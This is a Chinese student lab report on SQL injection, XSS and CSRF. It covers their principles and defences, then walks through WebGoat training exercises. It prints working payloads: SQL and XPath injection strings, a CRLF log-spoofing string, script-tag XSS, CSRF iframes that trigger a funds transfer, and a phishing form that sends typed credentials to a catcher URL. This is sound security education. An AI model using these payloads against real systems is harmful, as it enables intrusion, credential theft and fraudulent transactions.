1.SQL注入攻擊原理,如何防護?java
定義:SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。web
如圖簡要說明:正則表達式
●SQL注入威脅表現形式能夠體現爲如下幾點:sql
●繞過認證,得到非法權限數據庫
●猜解後臺數據庫所有的信息django
●注入能夠藉助數據庫的存儲過程進行提權等操做編程
●SQL注入攻擊的典型手段瀏覽器
●判斷應用程序是否存在注入漏洞安全
●收集信息、並判斷數據庫類型服務器
●根據注入參數類型,重構SQL語句的原貌
●猜解表名、字段名
●獲取帳戶信息、攻擊web或爲下一步攻擊作準備
如何防範:
因此從根本上防止sql注入,仍是避免數據變成代碼被執行,時刻分清代碼和數據的界限。而具體到SQL注入來講,被執行的惡意代碼是經過數據庫的SQL解釋引擎編譯獲得的,因此只要避免用戶輸入的數據被數據庫系統編譯就能夠了。
如:
二、XSS攻擊的原理,如何防護?
xss 跨站腳本攻擊(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆,因此將跨站腳本攻擊縮寫爲xss。
整體來講,XSS分三類,存儲型XSS、反射型XSS、DOM-XSS。
存儲型XSS
反射型XSS
將用戶輸入的存在XSS攻擊的數據,發送給後臺,後臺並未對數據進行存儲,也未通過任何過濾,直接返回給客戶端。被瀏覽器渲染。就可能致使XSS攻擊;
反射型XSS,是最經常使用的,使用最廣的一種方式。經過給別人發送有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數唄HTML解析、執行。
它的特色:是非持久化,必須用戶點擊帶有特定參數的連接才能引發
DOM-XSS
如今的XSS如此流行,緣由何在。我想你們應該都知道,就是在輸入的時候沒有作嚴格的過濾,而在輸出的時候,也沒有進行檢查,轉義,替換等
因此防範的方法就是,不信任任何用戶的輸入,對每一個用戶的輸入都作嚴格檢查,過濾,在輸出的時候,對某些特殊字符進行轉義,替換等
3.CSRF攻擊原理,如何防護?
(Cross Site Request Forgery, 跨站域請求僞造)是一種網絡的攻擊方式,它在 2007 年曾被列爲互聯網 20 大安全隱患之一,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用也就是人們所知道的釣魚網站。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,而且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。
防護:
在業界目前防護 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證
實驗過程:
Webgoat
。在百度雲上下載壓縮包,而後拷入kali中,並在壓縮包目錄中使用java -jar webgoat-container-7.1-exec.jar
這條指令。
而後打開火狐瀏覽器
就像攻關同樣能夠聯繫左側的題目,英文很差的自備翻譯軟件:
String SQL Injection(字符注入):
而後根據文本框下面的數據庫語言,咱們在文本框中輸入'or 1='1
,即在數據庫語言中造成了名字=''(空集,即全部)or 1=’1(永真式)
的判斷,結果是會顯示全部的用戶信息。
Log Spoofing(日誌欺騙):
咱們構造一個惡意的字符串
xm%0d%0aLogin Succeeded for username: admin
複製到user name 文本框中,密碼隨意輸入,即可登錄admin。
XPATH Injection(XPATH注入):
輸入xm' or 1=1 or 'a'='a
和xm,而後能夠看到攻擊成功
LAB: SQL Injection
使用數據庫注入來繞過身份驗證,即不須要密碼就能夠登錄。
使用用戶Nevile進行登錄,注入的代碼’or 1='1
Numeric SQL Injection
(數字數據庫注入)
跨站腳本攻擊,在表單中輸入超文本代碼XSS能夠劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,模擬用戶當前的操做。這裏實驗模擬獲取用戶名和密碼的攻擊在文本框裏面輸入一個釣魚網站代碼</form>
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
Stored XSS Attacks
目的是建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容
在Message中構造語句<script>alert("you are a bad guys");</script>
,提交後,能夠發現剛剛建立的彈窗
Reflected XSS Attacks
Cross Site Request Forgery(CSRF)
目的是發送一個惡意URL請求的圖片給用戶。在message框裏輸入一段文字,文字裏包含了惡意圖片。
在信息框中輸入:
<iframe src="attack?Screen=src290&menu=menu900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=src290&menu=menu900&transferFunds=CONFIRM"> </iframe>
實驗體會:
深入覺的本身對與web的知識瞭解甚少,基礎知識有待提升。。。。